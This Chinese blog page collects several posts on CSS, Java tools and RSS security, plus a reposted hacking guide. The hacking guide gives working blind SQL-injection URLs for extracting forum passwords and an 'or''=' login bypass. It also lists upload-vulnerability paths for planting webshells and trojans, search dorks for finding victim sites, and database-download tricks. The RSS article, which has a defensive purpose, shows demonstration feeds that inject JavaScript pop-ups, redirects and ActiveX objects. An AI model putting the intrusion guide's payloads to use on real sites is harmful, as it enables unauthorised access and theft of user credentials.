完美解决DEDE图片大小图片太大撑破表格图片自适应图片按比例缩小

0

分类 : 网站技术 | 发表时间 24-02-2010

此篇日志是转的:

因为图片大小问题,找了很多代码都不好用,比如下面的。
img,a img{
border:0;  
margin:0;  
padding:0;
max-width:590px;
width:expression(this.width>590?"590px":this.width);
max-height:590px;
height:expression(this.height>590?"590px":this.height);
}
上面的代码有2个问题!
1.会把图片变的非常小。要刷新一次才能正常显示!
2.图片不会按比例缩小,图片严重变形!

后来花钱请高手帮我写了代码。现在把它共享给朋友们!

代码如下:
<!– Begin CSS 控制图片大小 09.1.15 –>
<style type="text/css">
<!–
img,a img{
border:0;  
margin:0;  
padding:0;
max-width:650px;
width: expression(this.width > 650 && this.width > this.height ? 650px : ‘auto’;);  
max-height:1650px;
height: expresion(this.height > 1650 ? 1650px : ‘auto’;); 织梦好,好织梦
} –>
</style>
<!– End CSS 控制图片大小 09.1.15 –>

循序渐进学习CSS

0

分类 : 编码知识 | 发表时间 09-12-2007

div+css太火了,这不能怪跟风者,实在这种网页开发模式,确实有很多的优势,近来由于项目的特殊需要,会将一部分精力转向投入到这方面来,因此,也要再多下下基本功!

       最近读到KenXu的一篇文章,就如何循序渐进地学习css提出了比较好的建议,比较适合初学者来学习css,本文参考了原文的主要内容。

     CSS基础及实例 要想出色地使用css,基础是一定要有的,可以在CSSBasic.com上下载css基础教程(pdf)。在读完35页的教程之后可以通过一些小例子来进一步理解已获得的css知识,可以通过CSS Examples来获得这些例子。

      CSS属性 在做完以上工作后,你也许会需要这样一张表,它上面包含了所有css属性的具体用法,你可以通过以下的网络服务来获得帮助:CSS 2.1 ReferenceW3schoolsHTMLDogCSS速查手册

      使用CSS设计样式 首先,可以从设计导航和目录开始,使用13 Styles CSS Menu下载来的css menu来做出更为专业的导航或是目录;

     接下来选择你的css布局,Layout Gala提供了许多直观的布局实例,也可以访问Page Layout Sample获得帮助;
      最后,可以学习更精深的css教程
     
53 CSS-Techniques You Couldn’t Live Without
      70 Expert Ideas for Better CSS Coding
      CSS Technique Round Up – 20 CSS Tips and Tricks
      HTMLDog’s Advance CSS Tutorials

      CSS搜索引擎 通过css搜索引擎来skuer.com获得更多的关于css的资源。

      CSS工具 你可以通过以下的css工具来获得事倍功半的效果:CSS Creator自动生成布局样式等;CSS List-O-Matic轻松制作漂亮的侧栏及导航;CSS Font and Text Style Wizard使你能够实时获得css属性的预览效果;Software: CSS Tab Designer设计列表及导航;CSSFly编辑任意网页的css样式文件等,此外还有幺幺之前介绍的CSS优化工具

上述文字链接转自:http://www.yaoyaoit.cn/css/how-to-learn-css-step-by-step.html,由于日后可能要看到、用到其中的很多链接中的内部,因此,连链接一并转过来,以备阅读。

一并再说一些css的优化工具

1. Clean CSS

2. Iceyboard’s CSS compressor

3. CSS optimizer

4. CSS drive

5. Ebiene.de

6. CSSTweak

入侵网站的各种漏洞的利用

0

分类 : 系统安全 | 发表时间 13-06-2006

信息来源:慕容小雨’s blog

慕容小雨何许人也,偶不认识,不过听neeao说过多次,再从作品上看,当非凡人也!呵

各种漏洞的利用和一些搜索参数
说到漏洞,首先应该提到的就是动网的上传漏洞了。

“洞网”漏洞拉开了上传漏洞文件的序幕,其他系统的上
传漏洞接踵而来!

asp动网论坛漏洞分析

1、这个漏洞不算太严重,用过动网论坛的人都知道,发帖时直接写javascript会被过滤拆分,写http会自动加上链接,漏洞就在此,在这两个地方变通一下,把两个单词的某个字母换成编码形式,然后系统再对应地解码回字母,就达到了避免被过滤的目的。例子说明一下,在发帖时写入[img]javas&#x63ript:window.open(‘htt&#x70://www.fwcn.com’,”)[/img] 很清楚地看到,#x63解码的字母是”c”,#x70解码的字母是”p”,&起到连接作用,最后加上[img],使JS被触发,如果论坛支持flash插入,用[swf]也可。利用这个漏洞可以搞些恶作剧,写上诱人的主题,点进去结果是他的主页(骗点击率,作广告),甚至更绝,连到一个有病毒、木马的网页上,让你直想骂娘。这个漏洞存在于动网的各个版本,包括较新的0519版,覆盖面积之广让人瞠目,各人认为应该对某些非法字符进行检测剔除,而非简简单单地拆分了事,真希望动网开发者能尽早补上这漏洞。

2、比起前者,第二个漏洞问题就大啦,利用该漏洞可以破解掉论坛上所有注册会员的密码(恐怖~~~),由于论坛管理员通常直接把论坛程序载下来梢加以美工就拿来使用了,图方便直接导致了漏洞的出现,我们也载一个回来,只要看一下动网的数据库,就知道了密码的字段为userpassword,接着例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc ,在dispuser.asp中,读取参数的语句是:username=trim(request(“name”)),数据库的查询的语句是: sql=”select * from [user] where username=’”&username&”‘”,看得出来, abc就是直接被作为了dispuer的一个参数username,另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword=”******”,理论上这样就可以实现对密码的破解了,但这么破要破到何年何月,现在就要轮到VBS函数大显身手了,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20’1′=’1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql=”select * from [User] where username=’abc’ and len(UserPassword)=5 and ’1′=’1′”,现在明白点了吧,%20是空格,abc后面的单引号和’1′=’1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)=’a,如果猜对了就给出用户资料,猜对了就给出该用户不存在的提示,这样子还是嫌太慢,那就在外面再套个asc函数,http://xxxxx/dispuser.asp?name=abc'%20and%20asc(mid(userpassword,1,1))>’50 试出用户密码的ASCII码是否大于50,不断地缩小范围,相信很快就能将范围缩小至个位数,看到这里你是否惊出了一身冷汗,起码我是如此,*几个函数的灵活运用,保守地说,不出半小时就能破解出密码。真是不幸中的大幸,动网开发者在后来的05**版后使用了MD5的加密,这下子总算放心了,但介于国内还有许多地方在使用老版本的动网论坛(包括一个小有名气的flash站点)

3 、动网SQL语句漏洞
此漏洞针对动网SQL版本。
测试方法:在http://ip/bbs/admin_index.asp 输入用户名是’or”=’ 密码也是这个
这样可以跳过认证
原理:利用SQL语法。输入的密码和ID就成为一个合法的SQL语句,直接跳过认证。
此漏洞并不针对动网。很多SQL的ASP都会有这个漏洞

4、动网论坛sp2漏洞 (此漏洞影响范围甚大,动网官方站、黑客防线、安全基地都曾因此被黑过,具体资料大家可以在百度搜一下)
上传漏洞路径:reg_upload.asp及upfile.asp

青创文章系统

打开google 输入.tw qcdn (或者是去百度搜索 Powered by:QCDN_NEWS 但大多数是中国的)
青创文章系统
上传漏洞。在网址后加/admin_upfile.asp 如果出现。
Microsoft VBScript 磅︽顶琿岿粇 岿粇 ’800a01b6′
ンぃや穿妮┦┪よ猭: ‘form’
/article/admin_upfile.asp, 21
就代表已经有90%以上的希望了
桂林老兵的上传工具上传木马
入侵的時候發現admin_upfile.asp改了。你也可以改成user_upfile.asp也上傳傳馬馬。還有一個方法就是把admin_upfile.asp user_upfile.asp加到注入工裏邊

青创文章管理系统注入功击
关键字”list.asp?unid=”
工具:
  1、NBSI好像大部分黑客站点都有得下。
  2、MD5Crack2,破解MD5加密的软件(磊子推荐:dos下DV.exe比较好用)
第一次检测的时候,会报告”暂未检测到注入漏洞”;然后在”特征字符”输入”Unid”
(提示:”Unid”中的” U “一定要是大写的

“飞龙文章管理系统” 漏洞

飞龙文章管理系统 Ver 2.0 Build 20040620 正式版漏洞利用
搜索”Article.asp?ArtID=”关键字
漏洞文件在
admin_upfile.asp
user_upfile.asp
这两个文件”upfile.asp”
动网漏洞的再现
上传时cookie中加”ArtID=1111;”

phpwind 1.3.6 的论坛漏洞的利用
搜索关键字”POWER BY PHPWIND v1.3.6″

phpwind1.3.6论坛利用程序 “群共享”中有上传

保存后,木马地址为当前目录下的faq.php

在本机用如下表单进行提交:

METHOD=”POST”>




上传成功后的木马存在论坛目录下
直接访问就行!

漏洞集合

1)Co Net MiB Ver1.0~4.0 用’or’='or’登陆管理员(一个比较经典的漏洞)

2)ASP Calendar漏洞 请在google搜索Maintained with the Ocean12 ASP Calendar Manager v1.01这个信息,程序的默认数据库为o12cal.mdb(非MD5加密,明文保存)

3)六合彩漏洞 我们打开www.baidu.com或是www.google.com
在搜索里输入 请各位验证会员料
http://www.3589.com/tian/4login.asp把4login.asp改成conn.inc

<%DBPath=Server.MapPath("wz520#.mdb")
Set conn=Server.CreateObject(“ADODB.Connection”)
conn.Open “Driver={Microsoft Access Driver (*.mdb)};DBQ=”&DBPath%>

wz520#.mdb,他就是数据库了。#改成%23就可以下载数据库了

4)青创文章系统出现严重漏洞 在网址后加/admin_upfile.asp上传WEBSHELL

百度搜索 Powered by:QCDN_NEWS 台湾.tw qcdn。

还可以用%5c暴库,通杀

“list.asp?unid=” ” .tw/list.asp?unid= ” 存在注入 在”特征字符”输入”Unid”
(”Unid”中的” U “一定要是大写的)

5)自由动力3.6的软件上传过滤不严 用WinHex.exe和WSockExpert.exe修改上传木马

E时代驿站漏洞
百度搜索”E时代驿站”
漏洞利用页面 /upload.asp 用老
兵直接上传

沸腾新闻系统上传漏洞
搜索:沸腾展望新闻系统[核心:尘缘雅境]授权使用
漏洞:没有对空格进行严格的限制。
所以,我们直接选定要上传的asp木马,然后在后面加上空格
它的上传文件是UploadFaceOK.asp

尘缘雅境

在GOOGLE里搜索关键词: V1.0 ACCESS Finish,就会看
到出现了
一大堆
使用尘缘雅境系统的网站.比如说他的网站首页
是http://www.xx.com/asfq/index.asp,那么就要这样填写
http://www.xx.com/asfq/admin/uploadfaceok.asp,[漏洞目
录]:/asfq/admin
(注意一定要加上admin),[漏洞文件]一般不用改,不过有
些老版的
尘缘系统
的漏洞文件是uploadok.asp,如果uploadfaceok.asp不成功
再改

OFSTAR论坛漏洞利用程序(群共享中)
搜索: powered by ofstar.net
1:输入管理员用户名 2:输入任意一个帖子的路径!

3:单击获取密码,可以截取到管理员的MD5密码!是32位加密的!

4:单击直接登陆按钮!程序会自动构造Cookies进行登陆!单击管理栏的”超管”可直接进入后台!

上传木马: 选择后台的论坛管理=>风格摸版设置 插入以下代码! (其实上传shell部分和PHPWind一样)

然后使用提交页面提交“可以直接拿到shell!








请稍候,正载入页面……







java初学者常用开发工具介绍

0

分类 : 网络日志 | 发表时间 16-04-2006

Java的应用越来越广泛,学习Java的人也越来越多。学过程序设计的人知道,使用Basic进行程序设计,可以使用QBasic、Visual Basic等开发工具;使用C语言进行程序设计,可以使用Turbo C、Visual C++、C++ Builder等开发工具。这些开发工具集成了编辑器和编译器,是集成开发工具,很方便使用。学习Java程序设计,同样需要方便易用的开发工具。Java的开发工具很多,而且各有优缺点,初学者往往不知道有哪些常用的开发工具,或者由于面临的选择比较多而产生困惑。本文对初学者常使用的Java开发工具作一介绍,有助于初学者了解Java常用开发工具并做出选择。

  要建立Java开发环境,离不开Sun的JAVA2 SDK。1998年12月Sun公司发布了Java Software Development Kit(简称JAVA2 SDK),目前的最新版本是J2sdk-1.4.2.05。可在http://Java.sun.com下载。根据运行平台的不同,下载相应的版本并设置好PATH和CLASSPATH。这个软件包提供了Java编译器、Java解释器,但没有提供Java编辑器,因此需要使用者自己选择一个方便易用的编辑器或集成开发工具。下面就介绍几种适合初学者适用的Java开发工具。

  一 UltraEdit

  UltraEdit是共享软件,它的官方网址是:www.ultraedit.com 。最新版本是V10.20b。它是一个功能强大的文本、HTML、程序源代码编辑器。作为源代码编辑器,它的默认配置可以对C/C++, VB, HTML, Java和 Perl进行语法着色。用它设计Java程序时,可以对Java的关键词进行识别并着色,方便了Java程序设计。它具有完备的复制、粘贴、剪切、查找、替换、格式控制等编辑功能。可以在Advanced菜单的Tool Configuration 菜单项配置好Java的编译器Javac和解释器Java,直接编译运行Java程序。

  配置Javac:在Command Line里输入:D:\jsp\j2sdk\bin\Javac %f,这里Javac的路径要根据JDK的实际安装路径来指定,%f是指当前活动文档的全文件名。在Menu Item Name 里输入Javac ,它显示在Advanced菜单里,这样就可以直接执行它进行编译了。选中Output To List Box和Capture Output ,这样就可以在源代码下面的输出窗口里看到编译时的错误信息了。配置不带参数运行的解释器Java:在Command Line里输入:D:\jsp\j2sdk\bin\

  Java %n,在Menu Item Name 里输入: Java filename,选中Output To List Box和Capture Output ,运行结果显示在输出窗口里。配置带参数运行的解释器Java:在Command Line里输入:d:\jsp\j2sdk\bin\Java %n%modify%,在Menu Item Name 里输入:Java filename parameter,这样当执行这个菜单项的时候,会显示一个要求输入参数的对话框。

  二 Editplus

  EditPlus是共享软件,它的官方网址是:www.editplus.com。最新版本是EditPlus 2.12。EditPlus也是功能很全面的文本、HTML、程序源代码编辑器。默认的支持HTML、CSS、PHP、ASP、Perl、C/C++、Java、JavaScript和VBScript的语法着色。通过定制语法文件还可以扩展到其他程序语言。可以在Tools菜单的Configure User Tools菜单项配置用户工具,类似于UltraEdit的配置,配置好Java的编译器Javac和解释器Java后,通过EditPlus的菜单可以直接编译执行Java程序。

  三 Jcreator

  Jcreator是一个用于Java程序设计的集成开发环境,具有编辑、调试、运行Java程序的功能。官方网址是:www.jcreator.com 。当前最新版本是Jcreator 3.10,它又分为LE和Pro版本。LE版本功能上受到一些限制,是免费版本。Pro版本功能最全,但这个版本是一个共享软件。这个软件比较小巧,对硬件要求不是很高,完全用C++写的,速度快、效率高。具有语法着色、代码自动完成、代码参数提示、工程向导、类向导等功能。第一次启动时提示设置Java JDK主目录及JDK JavaDoc目录,软件自动设置好类路径、编译器及解释器路径,还可以在帮助菜单中使用JDK Help。但目前这个版本对中文支持性不好。

  四 Eclipse

  Eclipse是一个开放可扩展的集成开发环境(IDE)。它不仅可以用于Java的开发,通过开发插件,它可以构建其他的开发工具。Eclipse是开放源代码的项目,并可以免费下载。它的官方网址是:www.eclipse.org 。它的官方网站提供Releases、Stable Builds、Integration Builds和Nightly Builds下载。建议使用Releases或Stable Builds版本。
  Releases版本是Eclipse开发团队发布的主要发行版本,是经过测试的稳定的版本,适合要求稳定而不需要最新改进功能的使用者选择。目前最新的Release版本是Eclipse 3.0。Stable Builds版本是对大多数使用者足够稳定的版本,由开发团队将认为比较稳定的Integration Build版本提升到Stable Build而来,适合想使用Eclipse新功能的使用者选择。对于Releases版本2.1.x,在Eclipse的官方网站上有一个语言包可以下载,这样Eclipse及其帮助都是简体中文的。用于Java开发,Eclipse与UltraEdit和Editplus两种编辑器和Jcreator IDE比较,Eclipse更专业,功能更强大。

RSS安全隐患探讨

0

分类 : 网站技术 | 发表时间 31-03-2006

作者:[曾伟] 来源:[世纪安全网络--21SaFe.CoM]

又是枫红叶落金秋时,秋风渐起,带来的除了飞舞的落叶与阵阵寒意,还有CEO们期盼着以web 2.0这个定义模糊的概念带来利益的希望。在此,天缘姑且抛开以用户为主导的web2.0不谈,只就其中的一个重要组成部分——目前已经比较广泛使用的RSS技术与各位朋友作简单地探讨。

RSS是以xml技术为基础,以聚合信息为目的进行信息表现的一种技术手段。其发展到目前,有多个版本及派生,比如ATOM等。随着对信息内容处理/包含的多样化,RSS的设计者将其功能与以加强,支持了js,ActiveX等多样丰富内容及处理表现的技术。而我们在享受着越来越便利的信息获取的同时,安全隐患的潘多拉盒子却慢慢地开启了。

下面,就让天缘带着大家一起,用一个个简单地小例子,将RSS的隐患一一暴露出来吧。破坏RSS在大家心目中美好的期望并不是我所愿意的,但“不破不立,破而立之”。能在RSS更广泛流行之前,把问题暴露出来,总比事后补救更好一些呢。

1.Web网页有繁人的弹出窗口,RSS能避免掉吗?

在浏览网页的时候,第一讨厌的就是弹出的广告窗口,那么在RSS中,我们是否就可以静静地阅读文章而不受打扰呢。愿望是美好的,现实却是残酷的,看看下面的一个小例子:

<?xml version=”1.0″ encoding=”gb2312″ ?> 
<rss version=”2.0″>
<channel>
 <title>伊人有约 喜欢稀饭BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒绝浮躁,让我们沉寂下来认真学习</description>
 <copyright>Copyright(C)喜欢稀饭BBS</copyright>
 <managingEditor />
 <language>zh-cn</language>
 <ttl>10</ttl>
 <generator>喜欢稀饭BBS</generator>
 <item>
<title>
<![CDATA[ 测试 ]]>
 </title>
<description>
<![CDATA[<font color=’red’ onMouseOver="javascript:window.open(’http://skylove.study-area.org’);">一个测试,把鼠标移动上来吧.</font>]]>
</description>

 <link>http://skylove.study-area.org/bbs/read.php?tid=752</link>
 <comments>http://skylove.study-area.org/bbs/read.php?tid=752</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=752</guid>
<author>
<![CDATA[ skylove ]]>
 </author>
 <source url=”http://skylove.study-area.org/bbs/read.php?tid=752″>喜欢稀饭BBS</source>
 <pubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
 </category>
 </item>
</channel>
</rss>

以上的文本,请保存为一个xml文件,之后在rss浏览器中打开就能看到效果。当鼠标移动到那行文字的时候,竟然新开了一个web页。当然,在此例中我所指向的是一个安全的地址。然而,如果是一个恶意的rss文件,打开的是一个含有恶意代码的web页,那样会如何呢?相信结果大家都能想到了。在rss中,允许利用<![CDATA[ 和]]> 包含按原格式输出的html文本,本身是为了丰富页面元素,允许方便地用html的元素来规定字体,颜色,图片显示等元素。由于是对html代码进行解释,因此,大多的RSS浏览器在设计的时候,对这部分元素的解释,直接采用调用ie浏览器内核的方式来完成。由此造成了css和js代码也可以被方便地解释执行——“剑本双刃,为仁为恶,存乎一心。”但由此带来的问题是——比直接ie浏览web页面更糟糕的是,很多RSS自带的web浏览功能中,是没有带恶意javascript脚本过滤功能的,因此相对于ie那比较糟糕的防御而言,RSS则更是心不设防。同样类似的例子是outlook等邮件客户端在浏览多媒体邮件时候带来的麻烦,不过现在outlook的漏洞已经被微软patch了。而众多RSS浏览器,由于不是微软出品或是windows捆绑,就只好期待各浏览器的软件作者尽快更新此类功能了。所幸的是截至截稿时候为止,天缘所使用的GreatNews RSS浏览器已经加上了弹出窗口屏蔽地功能。

2.象牛皮藓一样的漂浮广告在RSS时代是否终结了呢?

漂浮的广告总是在我们浏览网页的时候,阻挡着我们的视线,曾经在RSS初出的时候,我们认为找到了救星,那么是否在RSS里,漂浮的广告就会消失掉呢? 试一下以下的代码吧:

<?xml version=”1.0″ encoding=”gb2312″ ?>
<rss version=”2.0″>
<channel>
 <title>伊人有约 喜欢稀饭BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒绝浮躁,让我们沉寂下来认真学习</description>
 <copyright>Copyright(C)喜欢稀饭BBS</copyright>
 <managingEditor />
 <language>zh-cn</language>
 <ttl>10</ttl>
 <generator>喜欢稀饭BBS</generator>
 <item>
<title>
<![CDATA[ test ]]>
 </title>
<description>
<![CDATA[ 
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
 if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
  document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
 else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_timelinePlay(tmLnName, myID) { //v1.2
 //Copyright 1997, 2000 Macromedia, Inc. All rights reserved.
 var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
 if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
 tmLn = document.MM_Time[tmLnName];
 if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
 if (myID == tmLn.ID) { //if Im newest
  setTimeout(’MM_timelinePlay(“’+tmLnName+’”,’+myID+’)’,tmLn.delay);
  fNew = ++tmLn.curFrame;
  for (i=0; i<tmLn.length; i++) {
   sprite = tmLn;
   if (sprite.charAt(0) == ’s’) {
    if (sprite.obj) {
     numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
     if (fNew >= firstKeyFr && fNew <= sprite.keyFrames[numKeyFr-1]) {//in range
      keyFrm=1;
      for (j=0; j<sprite.values.length; j++) {
       props = sprite.values[j];
       if (numKeyFr != props.length) {
        if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
        else    sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
       } else {
        while (keyFrm<numKeyFr && fNew>=sprite.keyFrames[keyFrm]) keyFrm++;
        if (firstTime || fNew==sprite.keyFrames[keyFrm-1]) {
         if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
         else    sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
    } } } } }
   } else if (sprite.charAt(0)==’b’ && fNew == sprite.frame) eval(sprite.value);
   if (fNew > tmLn.lastFrame) tmLn.ID = 0;
 } }
}

function MM_initTimelines() { //v4.0
  //MM_initTimelines() Copyright 1997 Macromedia, Inc. All right
s reserved.
  var ns = navigator.appName == “Netscape”;
  var ns4 = (ns && parseInt(navigator.appVersion) == 4);
  var ns5 = (ns && parseInt(navigator.appVersion) > 4);
  document.MM_Time = new Array(1);
  document.MM_Time[0] = new Array(1);
document.MM_Time["Timeline1"] = document.MM_Time[0];
  document.MM_Time[0].MM_Name = “Timeline1″;
  document.MM_Time[0].fps = 15;
  document.MM_Time[0][0] = new String(“sprite”);
  document.MM_Time[0][0].slot = 1;
  if (ns4)
    document.MM_Time[0][0].obj = document["Layer1"];
  else if (ns5)
    document.MM_Time[0][0].obj = document.getElementById(“Layer1″);
  else
    document.MM_Time[0][0].obj = document.all ? document.all["Layer1"] : null;
  document.MM_Time[0][0].keyFrames = new Array(1, 15);
  document.MM_Time[0][0].values = new Array(2);
  if (ns5)
    document.MM_Time[0][0].values[0] = new Array(“30px”, “34px”, “39px”, “43px”, “47px”, “52px”, “56px”, “61px”, “65px”, “69px”,
“74px”, “78px”, “82px”, “87px”, “91px”);
  else
    document.MM_Time[0][0].values[0] = new Array(30,34,39,43,47,52,56,61,65,69,74,78,82,87,91);
  document.MM_Time[0][0].values[0].prop = “left”;
  if (ns5)
    document.MM_Time[0][0].values[1] = new Array(“20px”, “35px”, “50px”, “65px”, “81px”, “96px”, “111px”, “126px”, “141px”, “156
px”, “171px”, “187px”, “202px”, “217px”, “232px”);
  else
    document.MM_Time[0][0].values[1] = new Array(20,35,50,65,81,96,111,126,141,156,171,187,202,217,232);
  document.MM_Time[0][0].values[1].prop = “top”;
  if (!ns4) {
    document.MM_Time[0][0].values[0].prop2 = “style”;
    document.MM_Time[0][0].values[1].prop2 = “style”;
  }
  document.MM_Time[0].lastFrame = 15;
  for (i=0; i<document.MM_Time.length; i++) {
    document.MM_Time.ID = null;
    document.MM_Time.curFrame = 0;
    document.MM_Time.delay = 1000/document.MM_Time.fps;
  }
}
//–>
</script>
<body onLoad=”MM_timelinePlay(’Timeline1’)”>
<div id=”Layer1″ style=”position:absolute; width:200px; height:115px; z-index:1; left: 30px; top: 20px; background-color: #FFFF66; l
ayer-background-color: #FFFF66; border: 1px none #000000;”>测试层</div>
</body>
]]>
</description>
 
 <link>http://skylove.study-area.org/bbs/read.php?tid=752</link>
 <comments>http://skylove.study-area.org/bbs/read.php?tid=752</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=752</guid>
<author>
<![CDATA[ skylove ]]>
 </author>
 <source url=”http://skylove.study-area.org/bbs/read.php?tid=752″>喜欢稀饭BBS</source>
 <pubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS
 ]]>
 </category>
 </item>
</channel>
</rss>

以上的代码,保存为一个xml文件,在RSS浏览器中看看效果吧? 能看到一个层移动着。由此可以遇见,漂浮广告这个幽灵,不仅不会在RSS上消失,反而会因为无所过滤而更加放肆了呢。当然,我想也有一部分ICP们很乐意看到此情形吧——因为盈利点找到了!

#p#

3.ActiveX

微软的ie之所以在很多领域受到欢迎,与ActiveX技术带来的方便与实用性分不开。但ActiveX也时常会出现一些漏洞。那么在RSS之中,这个令人又爱又恨的功能,是否可以被使用呢?下面的例子里,天缘试着调用了一个媒体播放器:

<?xml version=”1.0″ encoding=”gb2312″ ?> 
<rss version=”2.0″>
<channel>
 <title>伊人有约 喜欢稀饭BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒绝浮躁,让我们沉寂下来认真学习</description>
 <copyright>Copyright(C)喜欢稀饭BBS</copyright>
 <managingEditor />
 <language>zh-cn</language>
 <ttl>10</ttl>
 <generator>喜欢稀饭BBS</generator>
<item>
<title>
<![CDATA[ [喜欢稀饭特别版]——-<<美丽心情>>——– ]]>
 </title>
<description>
<![CDATA[  电台地址:<a href=’http://skylove.study-area.org/ssqx/mlxq.mp3’ target=_blank>http://skylove.study-area.org/ssqx/mlxq.mp
3</a><br/><br/><br/><br/><br/><br/><object class="OBJECT" id="MediaPlayer" width=336 height=256 classid="CLSID:22d6f312-b0f6-11d0-94
ab-0080c74c7e95" align="middle" height="256" width="314"><param value="-1" name="ShowStatusBar"><param value="http://skylove.study-a
rea.org/ssqx/mlxq.mp3" name="SRC"><embed type="application/x-oleobject" codebase="http://activex.microsoft.com/activex/controls/mpla
yer/en/nsmp2inf.cab#Version=5,1,52,701" flename="mp" src="http://skylove.study-area.org/ssqx/mlxq.mp3" width=314 height=256></embed>
<param name="AutoStart" value="1"></object><br/><br/><br/>制作剪辑:素手清弦<br/>感谢我的支持者:天缘(SKYLOVE)<br/><br/><br/><a href=’
/UpLoadFiles/NewsPhoto/12595936.gif’ TARGET=_blank><img src=’http://bbs.oodiy.com/UploadFile/2005-4/200542612
595936.gif’ border=0 alt=’点击打开新窗口查看全图’ onload=’javascript:if(this.width>screen.width*0.7)this.width=screen.width*0.7’></a
><br/><br/><br/>PS:因为设备(软件)出了点问题,导致声音效果不太好,或者有些突兀,刺耳,请原谅;<br/>   ^_^
 ]]>
 </description>
 <link>http://skylove.study-area.org/bbs/read.php?tid=645</link>
 <comments>http://skylove.study-area.org/bbs/read.php?tid=645</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=645</guid>
<author>
<![CDATA[ 素手清弦 ]]>
 </author>
 <source url=”http://skylove.study-area.org/bbs/read.php?tid=645″>喜欢稀饭BBS</source>
 <pubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
 </category>
 </item>
 </channel>
</rss>

测试的方法同样是保存为一个xml文件,然后在RSS浏览器中打开即可。在此例中,天缘引用了一个普通的mp3节目,而如果此功能被恶意利用,那么可能被包含的就是一个有漏洞的ActiveX控件,进而导致用户的防线被撕开,埋下安全的隐患。关于利用ActiveX漏洞进行攻击的文章是很多的,各位朋友以“ActiveX”、“漏洞”作为关键字,能搜索到不少的。

4. 页面跳转

有时候,我们常常在浏览某个网页的时候,被突然转到一个无关甚至有害的站点,这真的是很令人郁闷和危险的事情呢。而在使用RSS浏览器的时候,是否也会出现同样尴尬的事情呢?

<?xml version=”1.0″ encoding=”gb2312″ ?>
<rss version=”2.0″>
<channel>
 <title>伊人有约 喜欢稀饭BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒绝浮躁,让我们沉寂下来认真学习</description>
 <copyright>Copyright(C)喜欢稀饭BBS</copyright>
 <managingEditor />
 <language>zh-cn</language>
 <ttl>10</ttl>
 <generator>喜欢稀饭BBS</generator>
<item>
<title>
<![CDATA[ [ 测试页面跳转 ]]>
 </title>
<descri
ption>
<![CDATA[ <script Language=JavaScript>window.location="http://skylove.study-area.org/bbs/";</script> ]]>
 </description>
 <link>http://skylove.study-area.org/bbs/read.php?tid=645</link>
 <comments>http://skylove.study-area.org/bbs/read.php?tid=645</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=645</guid>
<author>
<![CDATA[ skylove ]]>
 </author>
 <source url=”http://skylove.study-area.org/bbs/read.php?tid=645″>喜欢稀饭BBS</source>
 <pubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
 </category>
 </item>
 </channel>
</rss>

当天缘将此脚本在GreatNews中进行测试的时候,毫无预警地,页面被跳转到了 http://skylove.study-area.org/bbs/ 上面。由此可见,页面跳转的安全隐患问题依旧是存在着的。

  5. 服务器端的跨站脚本

  RSS不光是给最终的浏览用户带来危险,在RSS的最大卖点之一“聚合”方面,写得不够严谨的代码甚至会导致聚合服务器的安全隐患。
以著名的共享开源软件lilina为例,在其PHP代码中进行include某页面操作的时候,用require_once(‘页面url’) 的方式进行引用。而问题就在于,如果在被聚合的多个rss源中,有一个恶意的站点,利用<?与?>标记进行php代码编写,那么当在聚合过程中,该rss的php代码部分事实上是在聚合服务器上被执行了。简单地来说,比如a站点的rss文件中有<?echo ‘skylove’;?>这样一行文字,那么b服务器如果对a站的这则rss进行聚合引用,而且b服务器恰好是使用php程序进行聚合,那么上面的那句代码,事实上就会在b服务器上被执行。此漏洞我是在车东先生的blog上了解到的,url是http://www.chedong.com/blog/archives/001047.html#more 。关于对此等可能包含有程序代码的rss文件的包含,php 4.3版本以后可以采用file_get_contents 函数来完成,详细可见http://cn.php.net/manual/zh/ref.stream.php 有详尽的解释和用法示例。

